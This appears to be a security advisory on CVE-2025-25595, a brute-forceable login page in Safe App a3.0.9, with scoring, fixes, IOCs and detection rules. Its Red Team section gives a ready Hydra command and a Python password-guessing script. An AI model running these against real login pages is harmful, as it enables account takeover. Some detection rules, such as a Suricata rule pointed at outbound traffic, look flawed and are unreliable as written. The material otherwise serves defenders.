CVE-2025-25595

Executive Summary

CVE-2025-25595 identifies a critical security flaw in the Safe App version a3.0.9, where the login page lacks rate limiting mechanisms. This absence allows an unauthenticated attacker to perform a brute force attack against user credentials, potentially leading to full account takeover and unauthorized access to the application. The vulnerability is classified under CWE-307 (Improper Restriction of Excessive Authentication Attempts) and aligns with MITRE ATT&CK technique T1110 (Brute Force). The CVSS score is 0.0 due to incomplete NVD data, but the actual risk is high given the ease of exploitation and potential impact. No public proof-of-concept (PoC) or exploit code is available at this time, and no patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) and does not involve a software supply chain component. The issue is confined to the Safe App application itself.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, which is likely a placeholder or error. Based on the vulnerability description, a more accurate assessment is:

• Attack Vector (AV): Network (N) – The login page is accessible over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed to initiate the attack.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and impacted component are the same.
• Confidentiality (C): High (H) – Successful brute force can expose all user data.
• Integrity (I): High (H) – Attacker can modify data after login.
• Availability (A): High (H) – Attacker could lock out legitimate users or disrupt service.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base Score: 9.8 (Critical)

Threat Level: Critical. The lack of rate limiting makes brute force attacks trivial, especially if weak passwords are used. Automated tools can rapidly enumerate valid credentials.

Deep Dive & Mechanics

The vulnerability resides in the authentication module of Safe App version a3.0.9. The login endpoint does not implement any of the following:

• Account lockout after a certain number of failed attempts.
• CAPTCHA or challenge-response mechanisms.
• IP-based rate limiting or throttling.
• Delays between consecutive login attempts.

An attacker can send a high volume of login requests (e.g., using tools like Hydra, Burp Suite, or custom scripts) to guess usernames and passwords. Without rate limiting, the server processes each request immediately, allowing thousands of attempts per minute. This is particularly dangerous if the application uses common or default credentials.

The attack flow:

1. Identify the login endpoint (e.g., /login or /api/auth).
2. Obtain a list of potential usernames (e.g., via OSINT or enumeration).
3. Use a password dictionary or brute force tool to send POST requests with varying credentials.
4. Monitor responses for successful authentication (e.g., HTTP 200, redirect, or token issuance).

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current implementation. A patched version would include rate limiting logic.

Vulnerable Code (Conceptual):

# app/routes/auth.py
@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']
    user = User.query.filter_by(username=username).first()
    if user and check_password_hash(user.password, password):
        session['user_id'] = user.id
        return redirect('/dashboard')
    else:
        return render_template('login.html', error='Invalid credentials')

Patched Code (Conceptual):

# app/routes/auth.py
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

limiter = Limiter(key_func=get_remote_address)

@app.route('/login', methods=['POST'])
@limiter.limit("5 per minute")
def login():
    username = request.form['username']
    password = request.form['password']
    user = User.query.filter_by(username=username).first()
    if user and check_password_hash(user.password, password):
        session['user_id'] = user.id
        return redirect('/dashboard')
    else:
        return render_template('login.html', error='Invalid credentials')

The patched version uses a rate limiter (e.g., Flask-Limiter) to restrict login attempts to 5 per minute per IP address. Additional measures like account lockout after 10 failed attempts and CAPTCHA integration would further strengthen security.

Exploitation & Lab Setup

Red Team

Objective: Perform a brute force attack to gain unauthorized access.

Tools Required:

• Kali Linux or similar penetration testing distribution.
• Hydra, Medusa, or custom Python script.
• Burp Suite (optional for manual testing).

Lab Setup:

1. Deploy Safe App version a3.0.9 in a controlled environment (e.g., Docker container).
2. Ensure the login page is accessible at http://target/login.

Exploitation Steps:

1. Enumerate Usernames: Use common usernames (admin, user, test) or OSINT techniques.
2. Prepare Password List: Use rockyou.txt or a custom dictionary.
3. Launch Brute Force with Hydra:

   hydra -l admin -P /usr/share/wordlists/rockyou.txt target.com http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials"
   

4. Monitor Success: Hydra will display valid credentials when found.
5. Access Application: Use the discovered credentials to log in.

Custom Python Script (Alternative):

import requests

target = "http://target.com/login"
usernames = ["admin", "user", "test"]
passwords = open("passwords.txt", "r").read().splitlines()

for user in usernames:
    for pwd in passwords:
        data = {"username": user, "password": pwd}
        r = requests.post(target, data=data)
        if "Invalid credentials" not in r.text:
            print(f"Found: {user}:{pwd}")
            break

Blue Team

Objective: Detect and block brute force attempts.

Detection Steps:

1. Monitor Login Logs: Check for high frequency of failed login attempts from a single IP.
2. Analyze Web Server Logs: Look for repeated POST requests to /login with varying passwords.
3. Implement Alerts: Set up thresholds (e.g., >10 failed attempts in 5 minutes) to trigger alerts.

Mitigation Steps:

1. Apply Rate Limiting: Use WAF rules or application-level throttling.
2. Enable Account Lockout: Lock accounts after 5 failed attempts for 30 minutes.
3. Deploy CAPTCHA: Integrate reCAPTCHA on the login page.
4. Use Multi-Factor Authentication (MFA): Add an extra layer of security.

Indicators of Compromise (IOCs)

• Network IOCs:

  • High volume of HTTP POST requests to /login from a single IP address.
  • Repeated 401 or 403 responses followed by a 200 success.
  • User-Agent strings indicating automated tools (e.g., Hydra, Python-requests).

• Host IOCs:

  • Log entries showing multiple failed login attempts for the same username.
  • Unusual account activity (e.g., login from a new IP, password changes).

• File IOCs:

  • Temporary files containing password lists (e.g., passwords.txt, rockyou.txt).
  • Scripts or binaries for brute forcing (e.g., hydra, medusa).

Detection Engineering

YARA Rule

rule Detect_BruteForce_Login_Attempts {
    meta:
        description = "Detects brute force login attempts against Safe App"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-25595"
    strings:
        $login_endpoint = "/login"
        $failed_msg = "Invalid credentials"
        $post_method = "POST"
    condition:
        #login_endpoint > 10 and #failed_msg > 10 and $post_method
}

Sigma Rule

title: Brute Force Login Attempts Against Safe App
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects multiple failed login attempts to Safe App login page
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-25595
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/login'
        sc-status: 401
    condition: selection | count() by src_ip > 10 within 5m
falsepositives:
    - Legitimate users forgetting passwords
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-25595 - Brute Force Login Attempts to Safe App"; flow:to_server,established; content:"POST"; http_method; content:"/login"; http_uri; content:"username"; http_client_body; content:"password"; http_client_body; threshold:type both, track by_src, count 10, seconds 300; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply Rate Limiting: Implement server-side rate limiting on the login endpoint (e.g., 5 attempts per minute per IP).
2. Enable Account Lockout: Lock accounts after 5 failed attempts for 30 minutes.
3. Deploy CAPTCHA: Use reCAPTCHA v3 or similar to differentiate humans from bots.
4. Monitor Logs: Actively monitor for brute force patterns and block offending IPs.

Long-Term Fixes:

1. Update Safe App: Apply the official patch when released by the vendor.
2. Implement MFA: Require multi-factor authentication for all users.
3. Conduct Security Audit: Review authentication logic for other vulnerabilities.
4. User Education: Encourage strong, unique passwords and password managers.

Workarounds:

• Use a Web Application Firewall (WAF) to block IPs after a threshold of failed requests.
• Implement IP blacklisting for known malicious sources.

Valters IT